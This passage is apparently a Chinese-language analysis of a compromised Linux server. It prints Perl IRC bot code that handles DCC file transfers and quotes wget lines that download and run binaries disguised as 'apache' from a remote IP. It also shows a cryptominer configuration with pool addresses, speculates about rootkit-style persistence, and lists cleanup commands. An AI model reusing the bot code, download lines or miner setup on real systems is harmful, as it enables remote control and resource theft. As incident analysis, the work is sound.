    my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
    my $longip = unpack("N",inet_aton($meuip));
    my @filestat = stat($arquivo);
    my $size_total=$filestat[7];
    if ($size_total == 0) {
        return(0);
    }
    my ($porta, $sendsock);
    do {
        $porta = int rand(64511);
        $porta += 1024;
        $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
    } until $sendsock;
    $DCC{$sendsock}{tipo} = 'send';
    $DCC{$sendsock}{nick} = $nick;
    $DCC{$sendsock}{bytes} = $size_total;
    $DCC{$sendsock}{arquivo} = $arquivo;
    &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}

sub GET {
    my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
    return(0) if (-e "$arquivo");
    if (open(FILE, "> $arquivo")) {
        close FILE;
    } else {
        return(0);
    }
    my $dccip=fixaddr($dcclongip);
    return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
    my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
    $dccsock->autoflush(1);
    $dcc_sel->add($dccsock);
    $DCC{$dccsock}{tipo} = 'get';
    $DCC{$dccsock}{itime} = time;
    $DCC{$dccsock}{nick} = $nick;
    $DCC{$dccsock}{bytes} = $bytes;
    $DCC{$dccsock}{curbyte} = 0;
    $DCC{$dccsock}{arquivo} = $arquivo;
    $DCC{$dccsock}{ip} = $dccip;
    $DCC{$dccsock}{porta} = $dccporta;
    $DCC{$dccsock}{status} = "Recebendo";
}

sub Status {
    my $socket = shift;
    my $sock_tipo = $DCC{$socket}{tipo};
    unless (lc($sock_tipo) eq "chat") {
        my $nick = $DCC{$socket}{nick};
        my $arquivo = $DCC{$socket}{arquivo};
        my $itime = $DCC{$socket}{itime};
        my $ftime = time;
        my $status = $DCC{$socket}{status};
        $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
     
        my $d_time = $ftime-$itime;
     
        my $cur_byte = $DCC{$socket}{curbyte};
        my $bytes_total =  $DCC{$socket}{bytes};
     
        my $rate = 0;
        $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
        my $porcen = ($cur_byte*100)/$bytes_total;

        my ($r_duv, $p_duv);
        if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
            $r_duv = $3; $r_duv++ if $4 >= 5;
            $rate = "$1\.$2"."$r_duv";
        }
        if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
            $p_duv = $3; $p_duv++ if $4 >= 5;
            $porcen = "$1\.$2"."$p_duv";
        }
        return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
    }
    return(0);
}

sub fixaddr {
    my ($address) = @_;

    chomp $address;
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}

这个perl代码，主要是与IRC服务器通讯，通讯的目的是让“对方”控制当前主机；猜测其主要作用是控制下载真正的木马程序并发起DDOS攻击。

前面的shell脚本代码中的 wget http://65.254.63.20/apache 和 wget http://65.254.63.20/apacheaes 是下载可执行程序，完成下载后被更名为apache和apache2并启动；所下载的 http://65.254.63.20/httpd.conf 文件是作为这两个可执行程序的配置文件，内容如下：

{
    "url" : "stratum+tcp://176.9.147.78:45560",
    "url" : "stratum+tcp://176.9.2.145:45560",
    "url" : "stratum+tcp://176.9.147.178:45560",
    "user" : "bl4ckbone@protonmail.com",
    "pass" : "x",

    "algo" : "cryptonight",

    "quiet" : true
}

猜测的下一步动作：

上面的perl程序和apache、apache2程序运行一定时间后，会自动下载名称为 xxxxxLinux 可执行程序（其中 xxxxx 是随机名称），这个文件被执行以后，会释放出一些可执行程序以替换掉系统中的相应可执行程序（如 ps，lsof，ss，netstat 等）。/etc/cron.daily/目录下会产生相应的执行文件。/etc/rc.d/rc.local 被修改加入相应执行程序完整路径，/etc/rc.local软链接被删除并复制修改后的/etc/rc.d/rc.local文件过来（充当/etc/rc.local文件）。

一些有用的命令：

（1）查找根路径（/）下最近50天内被修改的可执行文件： find / -type f -perm /111 -mtime -50

（2）查看指定文件的可修改属性： lsattr /etc/rc.d/rc.local # 显示内容如下：

-------------e-- /etc/rc.d/rc.local

（3）设置指定文件为禁止修改： chattr +i /etc/rc.d/rc.local # 执行后该文件不允许删除[ rm -f ]和修改，注意只能对root用户组的文件进行设置

# lsattr /etc/rc.d/rc.local

----i--------e-- /etc/rc.d/rc.local # 注意这里第5列为字母i

（4）设置指定文件为允许修改： chattr -i /etc/rc.d/rc.local # 恢复为可删除和修改

（5）强制退出指定用户登录： pkill -9 -t pts/1 # 这里的 pts/1 是执行 w 命令以后相应已登录用户的TTY列内容

（6）获得指定可执行文件的文本内容： strings /root/xxxxxLinux2.6>strings_Linux26.txt # 用于查看和分析木马程序中的可疑文本，如 IP地址或域名

<<后续根据情况再修改>>